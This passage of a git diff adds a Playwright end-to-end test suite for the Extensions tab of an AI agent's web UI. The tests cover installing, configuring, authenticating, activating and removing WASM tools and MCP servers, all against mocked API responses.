test_auth_rejection(page, ironclaw_server): + """Navigating without a token shows the auth screen.""" + # Open a new page without the token + new_page = await page.context.new_page() + await new_page.goto(ironclaw_server) + auth_screen = new_page.locator(SEL["auth_screen"]) + await auth_screen.wait_for(state="visible", timeout=10000) + await new_page.close() diff --git a/tests/e2e/scenarios/test_extensions.py b/tests/e2e/scenarios/test_extensions.py new file mode 100644 index 00000000..6cddacb4 --- /dev/null +++ b/tests/e2e/scenarios/test_extensions.py @@ -0,0 +1,1098 @@ +"""Scenario: Extensions tab – comprehensive UI coverage. + +Tests cover: + A. Structural / empty states + B. Installed WASM tool cards + C. MCP server cards + D. WASM channel stepper states + E. Available extensions (registry) and install flow + F. Remove flow + G. Configure modal (open, fields, cancel, save, OAuth, error) + H. Auth card (SSE-triggered token + OAuth flows) + I. Activate flow (MCP server and WASM channel) + J. Tab reload behaviour + +All extension API calls are intercepted via page.route() so no real +WASM binaries or external registry connections are needed. +""" + +import json + +from helpers import SEL + +# ─── Fixture data ───────────────────────────────────────────────────────────── + +_WASM_TOOL = { + "name": "test-tool", + "display_name": "Test WASM Tool", + "kind": "wasm_tool", + "description": "A test WASM tool extension", + "url": None, + "active": True, + "authenticated": True, + "has_auth": True, + "needs_setup": False, + "tools": ["search", "fetch"], + "activation_status": None, + "activation_error": None, +} + +_MCP_ACTIVE = { + "name": "test-mcp", + "display_name": "Test MCP Server", + "kind": "mcp_server", + "description": "An active MCP server", + "url": "http://localhost:3000", + "active": True, + "authenticated": False, + "has_auth": False, + "needs_setup": False, + "tools": [], + "activation_status": None, + "activation_error": None, +} + +_MCP_INACTIVE = {**_MCP_ACTIVE, "name": "test-mcp-inactive", "display_name": "Inactive MCP", "active": False} + +_WASM_CHANNEL = { + "name": "test-channel", + "display_name": "Test Channel", + "kind": "wasm_channel", + "description": "A test WASM channel", + "url": None, + "active": False, + "authenticated": False, + "has_auth": False, + "needs_setup": True, + "tools": [], + "activation_status": "installed", + "activation_error": None, +} + +_REGISTRY_WASM = { + "name": "registry-tool", + "display_name": "Registry Tool", + "kind": "wasm_tool", + "description": "A registry WASM tool", + "keywords": ["search", "utility"], + "installed": False, +} + +_REGISTRY_MCP = { + "name": "registry-mcp", + "display_name": "Registry MCP Server", + "kind": "mcp_server", + "description": "An MCP server from the registry", + "keywords": ["tools"], + "installed": False, +} + +_SAMPLE_TOOL = {"name": "echo", "description": "Echo a message"} +_SAMPLE_TOOL_2 = {"name": "time", "description": "Get current time"} + + +# ─── Navigation helpers ──────────────────────────────────────────────────────── + +async def go_to_extensions(page): + """Click the Extensions tab and wait for the panel to appear. + + Waits for loadExtensions() to finish rendering by polling for the first + content signal (empty-state div or an installed card) rather than sleeping. + """ + await page.locator(SEL["tab_button"].format(tab="extensions")).click() + await page.locator(SEL["tab_panel"].format(tab="extensions")).wait_for( + state="visible", timeout=5000 + ) + # loadExtensions() fires three parallel fetches then renders. Wait for the + # first concrete DOM signal instead of a hard sleep so the test is + # deterministic even under CI load. + await page.locator( + f"{SEL['extensions_list']} .empty-state, {SEL['ext_card_installed']}" + ).first.wait_for(state="visible", timeout=8000) + + +async def mock_ext_apis(page, *, installed=None, tools=None, registry=None): + """Intercept the three extension list APIs with fixture data. + + Must be called BEFORE navigating to the extensions tab. + """ + ext_body = json.dumps({"extensions": installed or []}) + tools_body = json.dumps({"tools": tools or []}) + registry_body = json.dumps({"entries": registry or []}) + + # Playwright evaluates route handlers in LIFO order (last-registered fires + # first). Register the broad handler first so it is checked last; the + # specific /tools and /registry handlers are registered after and therefore + # checked first — no continue_() fallthrough needed. + async def handle_ext_list(route): + path = route.request.url.split("?")[0] + if path.endswith("/api/extensions"): + await route.fulfill(status=200, content_type="application/json", body=ext_body) + else: + await route.continue_() + + await page.route("**/api/extensions*", handle_ext_list) + + async def handle_tools(route): + await route.fulfill(status=200, content_type="application/json", body=tools_body) + + async def handle_registry(route): + await route.fulfill(status=200, content_type="application/json", body=registry_body) + + await page.route("**/api/extensions/tools", handle_tools) + await page.route("**/api/extensions/registry", handle_registry) + + +async def wait_for_toast(page, text: str, *, timeout: int = 5000): + """Wait for any toast containing the given text.""" + await page.locator(SEL["toast"], has_text=text).wait_for(state="visible", timeout=timeout) + + +# ─── Group A: Structural / empty state ──────────────────────────────────────── + +async def test_extensions_empty_tab_layout(page): + """Extensions tab with no data shows all three sections with correct empty-state messages.""" + await mock_ext_apis(page, tools=[]) + await go_to_extensions(page) + + panel = page.locator(SEL["tab_panel"].format(tab="extensions")) + assert await panel.is_visible() + + ext_list = page.locator(SEL["extensions_list"]) + assert await ext_list.is_visible() + assert "No extensions installed" in await ext_list.text_content() + + wasm_list = page.locator(SEL["available_wasm_list"]) + assert await wasm_list.is_visible() + assert "No additional WASM extensions available" in await wasm_list.text_content() + + mcp_list = page.locator(SEL["mcp_servers_list"]) + assert await mcp_list.is_visible() + assert "No MCP servers available" in await mcp_list.text_content() + + # Tools table should be empty + tbody = page.locator(SEL["tools_tbody"]) + rows = await tbody.locator("tr").count() + empty_visible = await page.locator(SEL["tools_empty"]).is_visible() + assert empty_visible or rows == 0, "Expected tools table to be empty" + + +async def test_extensions_tools_table_populated(page): + """Two mock tools produce two rows in the tools table.""" + await mock_ext_apis(page, tools=[_SAMPLE_TOOL, _SAMPLE_TOOL_2]) + await go_to_extensions(page) + + tbody = page.locator(SEL["tools_tbody"]) + rows = tbody.locator("tr") + await rows.first.wait_for(state="visible", timeout=5000) + assert await rows.count() == 2 + + text = await tbody.text_content() + assert "echo" in text + assert "time" in text + + +# ─── Group B: Installed WASM tool cards ─────────────────────────────────────── + +async def test_installed_wasm_tool_card_renders(page): + """An installed, active, authenticated WASM tool card shows correct elements.""" + await mock_ext_apis(page, installed=[_WASM_TOOL]) + await go_to_extensions(page) + + card = page.locator(SEL["ext_card_installed"]).first + await card.wait_for(state="visible", timeout=5000) + + assert "Test WASM Tool" in await card.locator(SEL["ext_name"]).text_content() + assert await card.locator(SEL["ext_auth_dot_authed"]).count() == 1 + assert await card.locator(SEL["ext_active_label"]).count() == 1 + assert await card.locator(SEL["ext_remove_btn"]).count() == 1 + + tools_div = card.locator(SEL["ext_tools"]) + text = await tools_div.text_content() + assert "search" in text + assert "fetch" in text + + +async def test_installed_wasm_tool_unauthed_state(page): + """authenticated=false shows the unauthed auth dot and a 'Configure' button.""" + ext = {**_WASM_TOOL, "needs_setup": True, "authenticated": False} + await mock_ext_apis(page, installed=[ext]) + await go_to_extensions(page) + + card = page.locator(SEL["ext_card_installed"]).first + await card.wait_for(state="visible", timeout=5000) + assert await card.locator(SEL["ext_auth_dot_unauthed"]).count() == 1 + + configure_btn = card.locator(SEL["ext_configure_btn"]) + assert await configure_btn.count() == 1 + assert await configure_btn.text_content() == "Configure" + + +async def test_installed_wasm_tool_authed_shows_reconfigure_btn(page): + """has_auth=true, authenticated=true shows a 'Reconfigure' button.""" + ext = {**_WASM_TOOL, "has_auth": True, "authenticated": True, "needs_setup": False} + await mock_ext_apis(page, installed=[ext]) + await go_to_extensions(page) + + card = page.locator(SEL["ext_card_installed"]).first + await card.wait_for(state="visible", timeout=5000) + + configure_btn = card.locator(SEL["ext_configure_btn"]) + assert await configure_btn.count() == 1 + assert await configure_btn.text_content() == "Reconfigure" + + + +# ─── Group C: MCP server cards ──────────────────────────────────────────────── + +async def test_installed_mcp_server_active(page): + """Active MCP server shows 'Active' label and no Activate button.""" + await mock_ext_apis(page, installed=[_MCP_ACTIVE]) + await go_to_extensions(page) + + card = page.locator(SEL["ext_card_installed"]).first + await card.wait_for(state="visible", timeout=5000) + assert await card.locator(SEL["ext_active_label"]).count() == 1 + assert await card.locator(SEL["ext_activate_btn"]).count() == 0 + assert await card.locator(SEL["ext_remove_btn"]).count() == 1 + + +async def test_installed_mcp_server_inactive_shows_activate(page): + """Inactive MCP server shows Activate button.""" + await mock_ext_apis(page, installed=[_MCP_INACTIVE]) + await go_to_extensions(page) + + card = page.locator(SEL["ext_card_installed"]).first + await card.wait_for(state="visible", timeout=5000) + assert await card.locator(SEL["ext_activate_btn"]).count() == 1 + + +async def test_mcp_server_in_registry_not_installed(page): + """Registry MCP entry (not installed) appears in the MCP section with Install button.""" + await mock_ext_apis(page, registry=[_REGISTRY_MCP]) + await go_to_extensions(page) + + mcp_list = page.locator(SEL["mcp_servers_list"]) + card = mcp_list.locator(".ext-card").first + await card.wait_for(state="visible", timeout=5000) + assert "Registry MCP Server" in await card.text_content() + assert await card.locator(SEL["ext_install_btn"]).count() == 1 + + +async def test_mcp_server_installed_auth_dot(page): + """Installed MCP in registry cross-reference shows auth dot (unauthed).""" + # Card rendered via renderMcpServerCard when entry is in registry AND installed + installed_mcp = {**_MCP_ACTIVE, "name": "registry-mcp", "authenticated": False} + registry_mcp = {**_REGISTRY_MCP, "name": "registry-mcp"} + await mock_ext_apis(page, installed=[installed_mcp], registry=[registry_mcp]) + await go_to_extensions(page) + + mcp_list = page.locator(SEL["mcp_servers_list"]) + card = mcp_list.locator(".ext-card").first + await card.wait_for(state="visible", timeout=5000) + # Installed MCP in registry section should show auth dot + assert await card.locator(SEL["ext_auth_dot_unauthed"]).count() == 1 + + +# ─── Group D: WASM channel stepper states ───────────────────────────────────── + +async def _load_wasm_channel(page, activation_status, activation_error=None): + ext = {**_WASM_CHANNEL, "activation_status": activation_status, "activation_error": activation_error} + await mock_ext_apis(page, installed=[ext]) + await go_to_extensions(page) + card = page.locator(SEL["ext_card_installed"]).first + await card.wait_for(state="visible", timeout=5000) + return card + + +async def test_wasm_channel_setup_states(page): + """activation_status installed/configured both show the Setup button and stepper.""" + card = await _load_wasm_channel(page, "installed") + setup_btn = card.locator(SEL["ext_configure_btn"], has_text="Setup") + assert await setup_btn.count() == 1 + assert await card.locator(SEL["ext_stepper"]).count() == 1 + # configured renders identically (same Setup button); verified by same stepper check above + + +async def test_wasm_channel_pairing_state(page): + """activation_status=pairing shows Awaiting Pairing label and Reconfigure.""" + card = await _load_wasm_channel(page, "pairing") + assert await card.locator(SEL["ext_pairing_label"]).count() == 1 + assert await card.locator(SEL["ext_configure_btn"], has_text="Reconfigure").count() == 1 + + +async def test_wasm_channel_active_state(page): + """activation_status=active shows Active label and Reconfigure (no Setup).""" + card = await _load_wasm_channel(page, "active") + assert await card.locator(SEL["ext_active_label"]).count() == 1 + assert await card.locator(SEL["ext_configure_btn"], has_text="Reconfigure").count() == 1 + assert await card.locator(SEL["ext_configure_btn"], has_text="Setup").count() == 0 + + +async def test_wasm_channel_failed_renders(page): + """activation_status=failed shows Reconfigure button and ✗ in the stepper circles.""" + card = await _load_wasm_channel(page, "failed", activation_error="Module crashed") + assert await card.locator(SEL["ext_configure_btn"], has_text="Reconfigure").count() == 1 + circles = card.locator(SEL["ext_stepper"]).locator(SEL["stepper_circle"]) + count = await circles.count() + assert count > 0 + texts = [await circles.nth(i).text_content() for i in range(count)] + assert any("\u2717" in t for t in texts), f"Expected ✗ in stepper circles: {texts}" + + +# ─── Group E: Available extensions (registry) and install ───────────────────── + +async def test_available_wasm_card_renders(page): + """Registry WASM entry shows in #available-wasm-list with Install button.""" + await mock_ext_apis(page, registry=[_REGISTRY_WASM]) + await go_to_extensions(page) + + wasm_list = page.locator(SEL["available_wasm_list"]) + card = wasm_list.locator(".ext-card").first + await card.wait_for(state="visible", timeout=5000) + assert "Registry Tool" in await card.text_content() + assert "A registry WASM tool" in await card.text_content() + assert await card.locator(SEL["ext_install_btn"]).count() == 1 + + +async def test_available_wasm_keywords_shown(page): + """Registry entry with keywords shows them on the card.""" + await mock_ext_apis(page, registry=[_REGISTRY_WASM]) + await go_to_extensions(page) + + card = page.locator(SEL["available_wasm_list"]).locator(".ext-card").first + await card.wait_for(state="visible", timeout=5000) + text = await card.text_content() + assert "search" in text or "utility" in text + + +async def test_install_wasm_success(page): + """Clicking Install on a registry card calls the install API and refreshes the list.""" + installed_after = { + **_WASM_TOOL, + "name": "registry-tool", + "display_name": "Registry Tool", + } + install_called = [] + + await mock_ext_apis(page, registry=[_REGISTRY_WASM]) + + async def handle_install(route): + install_called.append(True) + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"success": True}), + ) + + await page.route("**/api/extensions/install", handle_install) + + # After install, loadExtensions() refetches the list; serve the installed ext + async def handle_ext_after(route): + path = route.request.url.split("?")[0] + if path.endswith("/api/extensions"): + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"extensions": [installed_after]}), + ) + else: + await route.continue_() + + await go_to_extensions(page) + + # Override the ext list handler for subsequent calls + await page.route("**/api/extensions*", handle_ext_after) + + install_btn = page.locator(SEL["available_wasm_list"]).locator(SEL["ext_install_btn"]).first + await install_btn.wait_for(state="visible", timeout=5000) + await install_btn.click() + + # Wait for reload: installed card should appear + installed = page.locator(SEL["ext_card_installed"]) + await installed.first.wait_for(state="visible", timeout=8000) + assert len(install_called) >= 1, "Install API was not called" + + +async def test_install_wasm_failure(page): + """Failed install response shows an error toast.""" + await mock_ext_apis(page, registry=[_REGISTRY_WASM]) + + async def handle_install(route): + await route.fulfill(status=200, content_type="application/json", body=json.dumps({"success": False, "message": "Build failed"})) + + await page.route("**/api/extensions/install", handle_install) + await go_to_extensions(page) + + install_btn = page.locator(SEL["available_wasm_list"]).locator(SEL["ext_install_btn"]).first + await install_btn.wait_for(state="visible", timeout=5000) + await install_btn.click() + + await wait_for_toast(page, "Build failed") + + +async def test_install_wasm_channel_triggers_configure(page): + """Installing a wasm_channel extension auto-opens the configure modal.""" + registry_channel = {**_REGISTRY_WASM, "kind": "wasm_channel", "name": "test-channel", "display_name": "Test Channel"} + await mock_ext_apis(page, registry=[registry_channel]) + + setup_payload = {"secrets": [{"name": "token", "prompt": "Enter token", "provided": False, "optional": False, "auto_generate": False}]} + + async def handle_channel_setup(route): + await route.fulfill(status=200, content_type="application/json", body=json.dumps(setup_payload)) + + async def handle_channel_install(route): + await route.fulfill(status=200, content_type="application/json", body=json.dumps({"success": True})) + + await page.route("**/api/extensions/test-channel/setup", handle_channel_setup) + await page.route("**/api/extensions/install", handle_channel_install) + await go_to_extensions(page) + + install_btn = page.locator(SEL["available_wasm_list"]).locator(SEL["ext_install_btn"]).first + await install_btn.wait_for(state="visible", timeout=5000) + await install_btn.click() + + # Configure modal should appear + modal = page.locator(SEL["configure_modal"]) + await modal.wait_for(state="visible", timeout=8000) + assert await modal.is_visible() + + +# ─── Group F: Remove flow ───────────────────────────────────────────────────── + +async def test_remove_installed_extension_confirmed(page): + """Confirming remove dismisses the card and shows a success toast.""" + remove_called = [] + + await mock_ext_apis(page, installed=[_WASM_TOOL]) + + async def handle_remove(route): + remove_called.append(True) + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"success": True}), + ) + + await page.route("**/api/extensions/test-tool/remove", handle_remove) + + # After remove, list is empty + async def handle_ext_empty(route): + path = route.request.url.split("?")[0] + if path.endswith("/api/extensions"): + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"extensions": []}), + ) + else: + await route.continue_() + + await go_to_extensions(page) + # Override for subsequent calls + await page.route("**/api/extensions*", handle_ext_empty) + + # Auto-accept confirm dialog + await page.evaluate("window.confirm = () => true") + + card = page.locator(SEL["ext_card_installed"]).first + await card.wait_for(state="visible", timeout=5000) + await card.locator(SEL["ext_remove_btn"]).click() + + # Card should disappear + await page.wait_for_function( + "() => document.querySelectorAll('#extensions-list .ext-card').length === 0", + timeout=8000, + ) + assert len(remove_called) >= 1, "Remove API was not called" + + +async def test_remove_cancelled_keeps_card(page): + """Cancelling the confirm dialog keeps the extension card.""" + await mock_ext_apis(page, installed=[_WASM_TOOL]) + await go_to_extensions(page) + + # Reject the confirm dialog + await page.evaluate("window.confirm = () => false") + + card = page.locator(SEL["ext_card_installed"]).first + await card.wait_for(state="visible", timeout=5000) + await card.locator(SEL["ext_remove_btn"]).click() + + assert await page.locator(SEL["ext_card_installed"]).count() >= 1, "Card should remain after cancel" + + +# ─── Group G: Configure modal ───────────────────────────────────────────────── + +async def _open_configure_modal(page, secrets): + """Mock the setup endpoint and trigger showConfigureModal via JS.""" + body = json.dumps({"secrets": secrets}) + + async def handle_setup(route): + await route.fulfill(status=200, content_type="application/json", body=body) + + await page.route("**/api/extensions/test-ext/setup", handle_setup) + await page.evaluate("showConfigureModal('test-ext')") + await page.locator(SEL["configure_modal"]).wait_for(state="visible", timeout=5000) + + +async def test_configure_modal_field_variants(page): + """Configure modal renders all field badge variants correctly in one pass.""" + await _open_configure_modal( + page, + [ + {"name": "api_key", "prompt": "Enter API key", "provided": False, "optional": False, "auto_generate": False}, + {"name": "token", "prompt": "API Token", "provided": True, "optional": False, "auto_generate": False}, + {"name": "extra", "prompt": "Extra setting", "provided": False, "optional": True, "auto_generate": False}, + {"name": "secret", "prompt": "Secret value", "provided": False, "optional": False, "auto_generate": True}, + ], + ) + modal = page.locator(SEL["configure_modal"]) + assert await modal.is_visible() + text = await modal.text_content() + # Basic field with label and input + assert "Enter API key" in text + assert await page.locator(SEL["configure_input"]).count() >= 1 + # Provided badge and at least one input with 'already set'/'keep' placeholder + assert await modal.locator(SEL["field_provided"]).count() >= 1 + inputs = page.locator(SEL["configure_input"]) + input_count = await inputs.count() + placeholders = [await inputs.nth(i).get_attribute("placeholder") or "" for i in range(input_count)] + assert any("already set" in p or "keep" in p for p in placeholders), f"No provided placeholder: {placeholders}" + # Optional label + assert "(optional)" in text + # Auto-generate hint + assert "Auto-generated" in text + # Modal heading contains extension name + assert "test-ext" in await page.locator(".configure-modal h3").text_content() + + +async def test_configure_modal_cancel_closes(page): + """Clicking Cancel dismisses the configure overlay.""" + await _open_configure_modal( + page, + [{"name": "token", "prompt": "Token", "provided": False, "optional": False, "auto_generate": False}], + ) + await page.locator(SEL["configure_cancel_btn"]).click() + await page.locator(SEL["configure_overlay"]).wait_for(state="hidden", timeout=3000) + + +async def test_configure_modal_backdrop_click_closes(page): + """Clicking outside the modal (on the overlay backdrop) dismisses it.""" + await _open_configure_modal( + page, + [{"name": "token", "prompt": "Token", "provided": False, "optional": False, "auto_generate": False}], + ) + # Click the overlay element itself (outside the modal box) + overlay = page.locator(SEL["configure_overlay"]) + box = await overlay.bounding_box() + # Click at the very top-left corner of the overlay, outside the centered modal + await page.mouse.click(box["x"] + 5, box["y"] + 5) + await overlay.wait_for(state="hidden", timeout=3000) + + +async def test_configure_modal_save_success(page): + """Filling in a value and clicking Save closes the modal on success.""" + async def handle_setup(route): + if route.request.method == "GET": + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"secrets": [{"name": "token", "prompt": "Token", "provided": False, "optional": False, "auto_generate": False}]}), + ) + else: + await route.fulfill(status=200, content_type="application/json", body=json.dumps({"success": True})) + + await page.route("**/api/extensions/test-ext/setup", handle_setup) + await page.evaluate("showConfigureModal('test-ext')") + await page.locator(SEL["configure_modal"]).wait_for(state="visible", timeout=5000) + await page.locator(SEL["configure_input"]).fill("mytoken123") + await page.locator(SEL["configure_save_btn"]).click() + await page.locator(SEL["configure_overlay"]).wait_for(state="hidden", timeout=5000) + + +async def test_configure_modal_save_oauth(page): + """Save response with auth_url opens a popup via window.open.""" + await page.evaluate("window.open = (url) => { window._lastOpenedUrl = url; }") + + async def handle_setup(route): + if route.request.method == "GET": + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"secrets": [{"name": "t", "prompt": "Token", "provided": False, "optional": False, "auto_generate": False}]}), + ) + else: + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"success": True, "auth_url": "https://example.com/oauth"}), + ) + + await page.route("**/api/extensions/test-ext/setup", handle_setup) + await page.evaluate("showConfigureModal('test-ext')") + await page.locator(SEL["configure_modal"]).wait_for(state="visible", timeout=5000) + await page.locator(SEL["configure_input"]).fill("ignored") + await page.locator(SEL["configure_save_btn"]).click() + + await page.wait_for_function("() => window._lastOpenedUrl !== null && window._lastOpenedUrl !== undefined", timeout=5000) + opened = await page.evaluate("window._lastOpenedUrl") + assert opened is not None, "window.open was not called" + assert "oauth" in opened or "example.com" in opened + + +async def test_configure_modal_save_failure(page): + """Save failure response shows an error toast.""" + async def handle_setup(route): + if route.request.method == "GET": + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"secrets": [{"name": "t", "prompt": "Token", "provided": False, "optional": False, "auto_generate": False}]}), + ) + else: + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"success": False, "message": "Invalid API key"}), + ) + + await page.route("**/api/extensions/test-ext/setup", handle_setup) + await page.evaluate("showConfigureModal('test-ext')") + await page.locator(SEL["configure_modal"]).wait_for(state="visible", timeout=5000) + await page.locator(SEL["configure_input"]).fill("badkey") + await page.locator(SEL["configure_save_btn"]).click() + + await wait_for_toast(page, "Invalid API key") + + +async def test_configure_modal_enter_key_submits(page): + """Pressing Enter in the input field submits the form.""" + save_called = [] + + async def handle_setup(route): + if route.request.method == "GET": + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"secrets": [{"name": "t", "prompt": "Token", "provided": False, "optional": False, "auto_generate": False}]}), + ) + else: + save_called.append(True) + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"success": True}), + ) + + await page.route("**/api/extensions/test-ext/setup", handle_setup) + await page.evaluate("showConfigureModal('test-ext')") + await page.locator(SEL["configure_modal"]).wait_for(state="visible", timeout=5000) + await page.locator(SEL["configure_input"]).fill("mytoken") + await page.locator(SEL["configure_input"]).press("Enter") + + await page.locator(SEL["configure_overlay"]).wait_for(state="hidden", timeout=5000) + assert len(save_called) >= 1, "Save was not called on Enter key" + + + +# ─── Group H: Auth card (SSE-triggered) ─────────────────────────────────────── + +async def _show_auth_card(page, **kwargs): + """Inject an auth card via JS and wait for it to appear.""" + payload = json.dumps(kwargs) + await page.evaluate(f"showAuthCard({payload})") + await page.locator(SEL["auth_card"]).wait_for(state="visible", timeout=5000) + + +async def test_auth_card_token_only(page): + """Auth card with no auth_url shows token input, Submit, Cancel, but no OAuth button.""" + await _show_auth_card(page, extension_name="github", instructions="Paste your GitHub token") + + card = page.locator(SEL["auth_card"]) + assert await card.locator(SEL["auth_header"]).text_content() == "Authentication required for github" + assert "Paste your GitHub token" in await card.locator(SEL["auth_instructions"]).text_content() + assert await card.locator(SEL["auth_token_input"]).count() == 1 + assert await card.locator(SEL["auth_submit_btn"]).count() == 1 + assert await card.locator(SEL["auth_cancel_btn"]).count() == 1 + assert await card.locator(SEL["auth_oauth_btn"]).count() == 0 + + +async def test_auth_card_with_oauth(page): + """Auth card with auth_url shows the OAuth button.""" + await _show_auth_card(page, extension_name="slack", auth_url="https://slack.com/oauth/authorize") + + card = page.locator(SEL["auth_card"]) + oauth_btn = card.locator(SEL["auth_oauth_btn"]) + assert await oauth_btn.count() == 1 + assert "slack" in await oauth_btn.text_content() + + +async def test_auth_card_with_setup_url(page): + """Auth card with setup_url shows a 'Get your token' link.""" + await _show_auth_card(page, extension_name="openai", setup_url="https://platform.openai.com/api-keys") + + card = page.locator(SEL["auth_card"]) + link = card.locator("a", has_text="Get your token") + assert await link.count() == 1 + href = await link.get_attribute("href") + assert "openai" in href or "platform" in href + + +async def test_auth_card_submit_success(page): + """Submitting a valid token via click or Enter removes the auth card.""" + submit_called = [] + + async def handle_auth(route): + submit_called.append(True) + await route.fulfill(status=200, content_type="application/json", body=json.dumps({"success": True, "message": "Authenticated!"})) + + await page.route("**/api/chat/auth-token", handle_auth) + + # Test click submit + await _show_auth_card(page, extension_name="myext", instructions="Enter token") + await page.locator(SEL["auth_token_input"]).fill("valid-token-123") + await page.locator(SEL["auth_submit_btn"]).click() + await page.locator(SEL["auth_card"]).wait_for(state="hidden", timeout=5000) + assert len(submit_called) >= 1 + + # Test Enter key submit (re-show card for a different extension) + await page.evaluate("showAuthCard({extension_name: 'myext2', instructions: 'Again'})") + await page.locator(SEL["auth_card"]).wait_for(state="visible", timeout=5000) + await page.locator(SEL["auth_token_input"]).fill("another-token") + await page.locator(SEL["auth_token_input"]).press("Enter") + await page.locator(SEL["auth_card"]).wait_for(state="hidden", timeout=5000) + assert len(submit_called) >= 2 + + +async def test_auth_card_submit_empty_noop(page): + """Clicking Submit with an empty token does nothing (card stays).""" + await _show_auth_card(page, extension_name="myext") + await page.locator(SEL["auth_submit_btn"]).click() + assert await page.locator(SEL["auth_card"]).count() == 1, "Card should remain for empty submit" + + +async def test_auth_card_submit_error(page): + """A failed token submission shows the error message and re-enables buttons.""" + async def handle_auth(route): + await route.fulfill(status=200, content_type="application/json", body=json.dumps({"success": False, "message": "Bad token"})) + + await page.route("**/api/chat/auth-token", handle_auth) + await _show_auth_card(page, extension_name="myext") + await page.locator(SEL["auth_token_input"]).fill("wrong-token") + await page.locator(SEL["auth_submit_btn"]).click() + + error = page.locator(SEL["auth_error"]) + await error.wait_for(state="visible", timeout=5000) + assert "Bad token" in await error.text_content() + # Buttons should be re-enabled + submit = page.locator(SEL["auth_submit_btn"]) + assert not await submit.is_disabled() + + +async def test_auth_card_cancel_removes_card(page): + """Clicking Cancel removes the auth card.""" + async def handle_cancel(route): + await route.fulfill(status=200, content_type="application/json", body="{}") + + await page.route("**/api/chat/auth-cancel", handle_cancel) + await _show_auth_card(page, extension_name="myext") + await page.locator(SEL["auth_cancel_btn"]).click() + await page.locator(SEL["auth_card"]).wait_for(state="hidden", timeout=3000) + + + +async def test_auth_card_replaces_existing_same_extension(page): + """Calling showAuthCard twice for the same extension replaces the old card.""" + await _show_auth_card(page, extension_name="myext", instructions="First") + await _show_auth_card(page, extension_name="myext", instructions="Second") + + cards = page.locator(SEL["auth_card"] + '[data-extension-name="myext"]') + assert await cards.count() == 1, "Duplicate auth cards for same extension" + assert "Second" in await page.locator(SEL["auth_instructions"]).text_content() + + +async def test_auth_card_multiple_extensions_coexist(page): + """Auth cards for different extensions can coexist.""" + await page.evaluate('showAuthCard({extension_name: "ext-a", instructions: "Token A"})') + await page.evaluate('showAuthCard({extension_name: "ext-b", instructions: "Token B"})') + await page.locator(SEL["auth_card"]).nth(1).wait_for(state="visible", timeout=3000) + assert await page.locator(SEL["auth_card"]).count() == 2 + + +async def test_auth_completed_sse_dismisses_card(page): + """Simulating the auth_completed SSE event removes the auth card.""" + await _show_auth_card(page, extension_name="myext") + + # Simulate the auth_completed SSE event being fired + await page.evaluate(""" + // Call the handler the same way the SSE listener does + removeAuthCard('myext'); + """) + + assert await page.locator(SEL["auth_card"] + '[data-extension-name="myext"]').count() == 0 + + +# ─── Group I: Activate flow ──────────────────────────────────────────────────── + +async def test_activate_mcp_server_success(page): + """Clicking Activate on an inactive MCP server calls the activate API.""" + activate_called = [] + + async def handle_activate(route): + activate_called.append(True) + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"success": True}), + ) + + await mock_ext_apis(page, installed=[_MCP_INACTIVE]) + await page.route("**/api/extensions/test-mcp-inactive/activate", handle_activate) + await go_to_extensions(page) + + activate_btn = page.locator(SEL["ext_card_installed"]).first.locator(SEL["ext_activate_btn"]) + await activate_btn.wait_for(state="visible", timeout=5000) + + async with page.expect_response("**/api/extensions/test-mcp-inactive/activate", timeout=5000): + await activate_btn.click() + + assert len(activate_called) >= 1, "Activate API was not called" + + +async def test_activate_awaiting_token_opens_configure(page): + """Activate response with awaiting_token=true opens the configure modal.""" + await mock_ext_apis(page, installed=[_MCP_INACTIVE]) + + async def handle_activate(route): + await route.fulfill(status=200, content_type="application/json", body=json.dumps({"success": False, "awaiting_token": True})) + + setup_payload = {"secrets": [{"name": "t", "prompt": "Token", "provided": False, "optional": False, "auto_generate": False}]} + + async def handle_setup(route): + await route.fulfill(status=200, content_type="application/json", body=json.dumps(setup_payload)) + + await page.route("**/api/extensions/test-mcp-inactive/activate", handle_activate) + await page.route("**/api/extensions/test-mcp-inactive/setup", handle_setup) + await go_to_extensions(page) + + activate_btn = page.locator(SEL["ext_card_installed"]).first.locator(SEL["ext_activate_btn"]) + await activate_btn.wait_for(state="visible", timeout=5000) + await activate_btn.click() + + modal = page.locator(SEL["configure_modal"]) + await modal.wait_for(state="visible", timeout=8000) + assert await modal.is_visible() + + +async def test_activate_failure_shows_error_toast(page): + """Failed activate shows an error toast with the message.""" + await mock_ext_apis(page, installed=[_MCP_INACTIVE]) + + async def handle_activate(route): + await route.fulfill(status=200, content_type="application/json", body=json.dumps({"success": False, "message": "Config missing"})) + + await page.route("**/api/extensions/test-mcp-inactive/activate", handle_activate) + await go_to_extensions(page) + + activate_btn = page.locator(SEL["ext_card_installed"]).first.locator(SEL["ext_activate_btn"]) + await activate_btn.wait_for(state="visible", timeout=5000) + await activate_btn.click() + + await wait_for_toast(page, "Config missing") + + +async def test_activate_with_auth_url_opens_popup(page): + """Activate response with auth_url calls window.open.""" + await page.evaluate("window.open = (url) => { window._lastOpenedUrl = url; }") + await mock_ext_apis(page, installed=[_MCP_INACTIVE]) + + async def handle_activate(route): + await route.fulfill(status=200, content_type="application/json", body=json.dumps({"success": True, "auth_url": "https://example.com/oauth"})) + + await page.route("**/api/extensions/test-mcp-inactive/activate", handle_activate) + await go_to_extensions(page) + + activate_btn = page.locator(SEL["ext_card_installed"]).first.locator(SEL["ext_activate_btn"]) + await activate_btn.wait_for(state="visible", timeout=5000) + await activate_btn.click() + + await page.wait_for_function("() => window._lastOpenedUrl !== null && window._lastOpenedUrl !== undefined", timeout=5000) + opened = await page.evaluate("window._lastOpenedUrl") + assert opened is not None, "window.open was not called" + assert "example.com" in opened + + +# ─── Group J: Tab reload behaviour ──────────────────────────────────────────── + +async def test_extensions_tab_reloads_on_revisit(page): + """loadExtensions() is called again when re-navigating to the extensions tab.""" + call_count = [] + + async def counting_handler(route): + path = route.request.url.split("?")[0] + if path.endswith("/api/extensions"): + call_count.append(1) + await route.fulfill( + status=200, + 